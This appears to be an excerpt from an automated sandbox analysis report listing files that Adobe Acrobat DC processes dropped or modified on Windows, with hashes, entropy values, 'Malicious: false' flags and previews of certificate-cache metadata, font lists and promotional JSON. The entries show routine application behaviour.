SHA-512:	BF86116B015FB56709516D686E168E7C9C68365136231CC51D0B6542AE95323A71D2C7ACEC84AAD7DCECC2E410843F6D82A0A6D51B9ACFC721A9C84FDD877B5B
Malicious:	false
Preview:	MSCF............,...................I..................XaK .authroot.stl.[.i..6..CK..<Tk......4.cl!Kg..E..Y.f_..".$mR"$.J.E.KB."..rKv.."{.g....3.W.....c..9.s...=....y6#..x..........D......\(.#.s.!.A.......cd.c........+^.ov...n.....3BL..0.......BPUR&.X..02.q...R...J.....w.....b.vy>....-.&..(..oe."."...J9...0U.6J..\|U..S.....M.F8g...=.......p...........l.?3.J.x.G.Ep..$g..tj......)v]9(:.)W.8.Op.1Q..:.nPd........7.7..M].V F..g.....12..!7(...B.......h.RZ.......l.<.....6..Z^.`p?... .p.Gp.#.'.X..........\|!.8.....".m.49r?.I...g...8.v.....a``.g.R4.i...J8q....NFW,E.6Y....!.o5%.Y.....R..<..S9....r....WO...(.....F..Q=....-..7d..O(....-..+k.........K..........{Q....Z..j._.E...QZ.~.\.^......N.9.k..O.}dD.b1r...[}/....T..E..G..c.\|.c.&>?..^t. ..;..X.d.E.0G....[Q.,......#.Dp..L.o\|#syc.J............}G-.ou6.=52..XWi=...m.....^u......c..fc?&pR7S5....I...j.G........j.j..Tc.El.....B.pQ.,Bp....j...9g.. >..s..m#.Nb.o_u.M.V...........\#...v..Mo\sF..s....Y...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	192
Entropy (8bit):	2.7529698674325394
Encrypted:	false
SSDEEP:	3:kkFklESpl/tfllXlE/HT8kysxtNNX8RolJuRdxLlGB9lQRYwpDdt:kKde/eT8opNMa8RdWBwRd
MD5:	37148A7A2B6C8C1D6C1C6A288476D73F
SHA1:	B14367935C1A7D60392A79166A862191C43DAE52
SHA-256:	195B44F5DAC2650BCB6B216B081D4160AA51BFBF98905DDD2A27791CB8FFD967
SHA-512:	4A8EECDDD0E401E5E3256DA1E10AB78969EF7D97B815D5E90A1E381A158CAAE78E2E59C74991EC7A1234E2D14DEA58B8D51A4DD5B7BF2B3A62157F2E40AC3DB0
Malicious:	false
Preview:	p...... ........7.j..c..(....................................................... ..........W...................o...h.t.t.p.:././.x.1...i...l.e.n.c.r...o.r.g./...".6.4.c.d.6.6.5.4.-.5.6.f."...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	modified
Size (bytes):	328
Entropy (8bit):	3.2284938185447545
Encrypted:	false
SSDEEP:	6:kK1DL9UswD8HGsL+N+SkQlPlEGYRMY9z+4KlDA3RUebT3:NDiDImsLNkPlE99SNxAhUe/3
MD5:	C2AFDBAB9A900B56F44D6281DB77A003
SHA1:	997AE8C815347D667DFDFB4632CB3E85A5985E2C
SHA-256:	C9EA4443650FB510EEBC3941E438AF2FCFA57A128667B134EC2BAB40BBBF4F25
SHA-512:	F4FBEE74DEFFE05C1F97C0742ED6614337BD6AC30488C89A9BFF5A0CB36E000D2CA7E2D0D70F68FB53BD13086608595BD9FAB26942EA8ABE348B9B2E90971639
Malicious:	false
Preview:	p...... .........:.&.c..(....................................................... ........G..@.......&......X........h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.a.u.t.h.r.o.o.t.s.t.l...c.a.b...".a.7.2.8.2.e.b.4.0.b.1.d.a.1.:.0."...

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.6172

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.6172

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.361640080643025
Encrypted:	false
SSDEEP:	6:YEQXJ2HXd+ZL+FIbRI6XVW7+0Y0PxoAvJM3g98kUwPeUkwRe9:YvXKX0ZiYpW75OGMbLUkee9
MD5:	A026D52B7FFC2804CC396DA6FCBE5190
SHA1:	BC92C0E48433ED5D532A64C88D1074836D47C89C
SHA-256:	700414FD5A2F7C5F6093AFF8E6C98BF827AD66EA40C5570C7A9A4AEBC8E360F0
SHA-512:	4B02FB706AC0949368F63403BBCB1AE05E898B12F61F66F5F90ECF0B378DE78FE4486EB6E1DAD2C02D3E56CCB71A2DC7DC245AA7E24542207B10788E36C1B9D2
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"9be6227a-1d28-4d73-a4d6-0985d6d9828b","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736742052503,"statusCode":200,"surfaceID":"ACROBAT_READER_MASTER_SURFACEID","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.303889577902747
Encrypted:	false
SSDEEP:	6:YEQXJ2HXd+ZL+FIbRI6XVW7+0Y0PxoAvJfBoTfXpnrPeUkwRe9:YvXKX0ZiYpW75OGWTfXcUkee9
MD5:	3C1B74CA0898B81280D8F42F2177F893
SHA1:	36B3E189B00FE2A92BD393B4B7484F6D92AC89CB
SHA-256:	224E7727FF96F626E500F67B46B6CCC103532ABF47AB1EBA212DA0F01D10B1E1
SHA-512:	D652EA4E861181ED7659F094853B579ACE92E9DABCE855E1010986436722BB1DAF4F884B8337408A1BE50A8B7383CBA5542945395EC40083A15704080474CA0A
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"9be6227a-1d28-4d73-a4d6-0985d6d9828b","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736742052503,"statusCode":200,"surfaceID":"DC_FirstMile_Home_View_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.283087325871952
Encrypted:	false
SSDEEP:	6:YEQXJ2HXd+ZL+FIbRI6XVW7+0Y0PxoAvJfBD2G6UpnrPeUkwRe9:YvXKX0ZiYpW75OGR22cUkee9
MD5:	799B58162AB996013CBE17CE713701E8
SHA1:	967986DA51D48848D7FB8696F2722E63D4000E13
SHA-256:	976FBF1C6EF0F4BA5472DF3BDECE289F155416C8DA9812284A9845039198EE83
SHA-512:	9D42D1279A43B997DA30CC343402A1FA3208D9169498FEF1B5074F6BDEFE907C356538A34A6B74FDB2710EA8420AD89C5079A35F1BADCEDDA6AF04F21FF4405A
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"9be6227a-1d28-4d73-a4d6-0985d6d9828b","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736742052503,"statusCode":200,"surfaceID":"DC_FirstMile_Right_Sec_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_READER_LAUNCH_CARD

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	285
Entropy (8bit):	5.340472491431202
Encrypted:	false
SSDEEP:	6:YEQXJ2HXd+ZL+FIbRI6XVW7+0Y0PxoAvJfPmwrPeUkwRe9:YvXKX0ZiYpW75OGH56Ukee9
MD5:	495E47E207A42CFF51F18EB4F7F27847
SHA1:	1006051C96386C16E47D6E1F2743A3A96A927E83
SHA-256:	0F326CD6B8C67E2D965804B723BFD4284FEAF5B71EB427E973C81D051A83EDDA
SHA-512:	2E30A77AA7315DF4201DBDF9342623083D7F448A0C41FFD19FEE921EB3995C5BBA41FA67D7832C4FA7D21FC23C6F2AAED3AA051DAF6CBFCFB6CFA67F24DEC2D4
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"9be6227a-1d28-4d73-a4d6-0985d6d9828b","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736742052503,"statusCode":200,"surfaceID":"DC_READER_LAUNCH_CARD","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Convert_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1123
Entropy (8bit):	5.687987204879704
Encrypted:	false
SSDEEP:	24:Yv6X+iBpLgE9cQx8LennAvzBvkn0RCmK8czOCCSm:YvqBhgy6SAFv5Ah8cv/m
MD5:	1245A3C3CE156FC84BD87CA6377F50AB
SHA1:	3BADDACE88DB2443390BAC513E4BF59E2945C1F0
SHA-256:	6FF4B472D31239ED8E0FAA29B55CC80999F9AEEF144F50538D961138A70F1CD8
SHA-512:	5F510916E5A19E67E02F4897FB90F86D16A3AEFF05198583AB39A2EED0149742B47D82C0E5CB357518F7FEAB952B81CA9004D612336ABA3113594F857FB474E0
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"9be6227a-1d28-4d73-a4d6-0985d6d9828b","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736742052503,"statusCode":200,"surfaceID":"DC_Reader_Convert_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Convert_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_1","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"d5bba1ae-6009-4d23-8886-fd4a474b8ac9","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Convert_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IkNvbnZlcnRQREZSZHJSSFBBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkV4cG9ydCBQREZzIHRvIE1pY3Jvc29mdCBXb3JkIGFuZCBFeGNlbC4ifSwidGNh

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.283985468342902
Encrypted:	false
SSDEEP:	6:YEQXJ2HXd+ZL+FIbRI6XVW7+0Y0PxoAvJf8dPeUkwRe9:YvXKX0ZiYpW75OGU8Ukee9
MD5:	34B826A122E05D23860726054A84D493
SHA1:	4E0DA0BEB383D9A09F208CA90E184818400D615A
SHA-256:	E7FD9F7DF9096D0CDB866528762E0CA1D86D1CD7CD31C5CE5121D669122CC0F4
SHA-512:	600CCB5F715FE602EFD751FAF33E09E30BDEC316A72F12558AB39ED34829C1450900AC781971EEC0E8CB816B5FDCFD5025112D5AC3A546B5A23C034B6AA04188
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"9be6227a-1d28-4d73-a4d6-0985d6d9828b","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736742052503,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.2854142000156905
Encrypted:	false
SSDEEP:	6:YEQXJ2HXd+ZL+FIbRI6XVW7+0Y0PxoAvJfQ1rPeUkwRe9:YvXKX0ZiYpW75OGY16Ukee9
MD5:	99CB87AE26654BE9F17BC09932AE3C29
SHA1:	840ED8968EE18B437D1BD0D9228C677E4C2B73A0
SHA-256:	A05C14F5900AE76FA49A83A95B3949489251F2234D68FE99D7254F15AAB38001
SHA-512:	7D9985C90E2A241C10D69348C70FFAA225468A71E170C73466707809890498E42E2798AAFD747A23F244A4D9194FBDBAC6C34EA91559429A2EEAF12A68257C40
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"9be6227a-1d28-4d73-a4d6-0985d6d9828b","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736742052503,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Edit_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.301269543702931
Encrypted:	false
SSDEEP:	6:YEQXJ2HXd+ZL+FIbRI6XVW7+0Y0PxoAvJfFldPeUkwRe9:YvXKX0ZiYpW75OGz8Ukee9
MD5:	4F901C1FF7AAEFAE91D6E68D32E4952A
SHA1:	FB29992935CF4C3A1DE74A7321B65D58590D95E3
SHA-256:	4D641EEAEE69DC959D8ABD846B18FD1F11B7A67B2F2B82D6ABF3CC01C376AEA8
SHA-512:	5F9E73FB5C36E5DFB94E4DBCE7D5E7CEE0152DB25354B3FCA0E60599C4CF73D4C7E5040834C9F00D4EB80B2F494277BA9E37359460EE998781330A8F23EFB35D
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"9be6227a-1d28-4d73-a4d6-0985d6d9828b","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736742052503,"statusCode":200,"surfaceID":"DC_Reader_Edit_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Home_LHP_Trial_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.310731085011515
Encrypted:	false
SSDEEP:	6:YEQXJ2HXd+ZL+FIbRI6XVW7+0Y0PxoAvJfzdPeUkwRe9:YvXKX0ZiYpW75OGb8Ukee9
MD5:	68C287F1551BF65457E1B8CD37F54413
SHA1:	FED8AC16598519133D8B7DB49C490327D41AC9C1
SHA-256:	077919BE025B7E8D433804B4CF2E8BB3C66EFB4B25162D41161CB68B708DFD2A
SHA-512:	17DFC032CF64BFBE6B781EA2BB791C3618F05DB6E66F89935AE8F84FD90FCFEB543545D44ABA2BE2AB839A993D1E375D1DB8B95A330D64142D3851AB44386524
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"9be6227a-1d28-4d73-a4d6-0985d6d9828b","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736742052503,"statusCode":200,"surfaceID":"DC_Reader_Home_LHP_Trial_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_More_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.29119560558644
Encrypted:	false
SSDEEP:	6:YEQXJ2HXd+ZL+FIbRI6XVW7+0Y0PxoAvJfYdPeUkwRe9:YvXKX0ZiYpW75OGg8Ukee9
MD5:	1E7A9E2B67EEB6B1F3BD997B004F9239
SHA1:	3C2AF1A55C5DBFA29E28BFCBDB83451FBA84A9B5
SHA-256:	8E0153F12D620801D783933D919C92B038F356AD7CAE3E9BCCE784824141DFCC
SHA-512:	840027A87A1A644C4E40C7CB768BC1459A55CB82AF81ADBE46BE79613D7E3CB299C9F9EE2FF9F891F334627B75A8B6E72691F03A3F1DF64A6714263F73DC757D
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"9be6227a-1d28-4d73-a4d6-0985d6d9828b","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736742052503,"statusCode":200,"surfaceID":"DC_Reader_More_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	5.277090971465412
Encrypted:	false
SSDEEP:	6:YEQXJ2HXd+ZL+FIbRI6XVW7+0Y0PxoAvJf+dPeUkwRe9:YvXKX0ZiYpW75OG28Ukee9
MD5:	31AAE50BC83AEF1AB2DBA66D7B9AC84F
SHA1:	566C5ABDE7AC43E4F70A4E6C1985633CA276EB1E
SHA-256:	40A11E6F620B011B823A4532C8D8CAADC8F3668BD2366539126B18E82673D7AF
SHA-512:	BC259646C034C88FF30746C6AB430DA70C2113B002329F4BCF058CD03509611E1B585716D6D9F39CDA046684D57FB4807AC08D5B69BDC462AFED02F330284DE6
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"9be6227a-1d28-4d73-a4d6-0985d6d9828b","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736742052503,"statusCode":200,"surfaceID":"DC_Reader_RHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Intent_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.274803214562115
Encrypted:	false
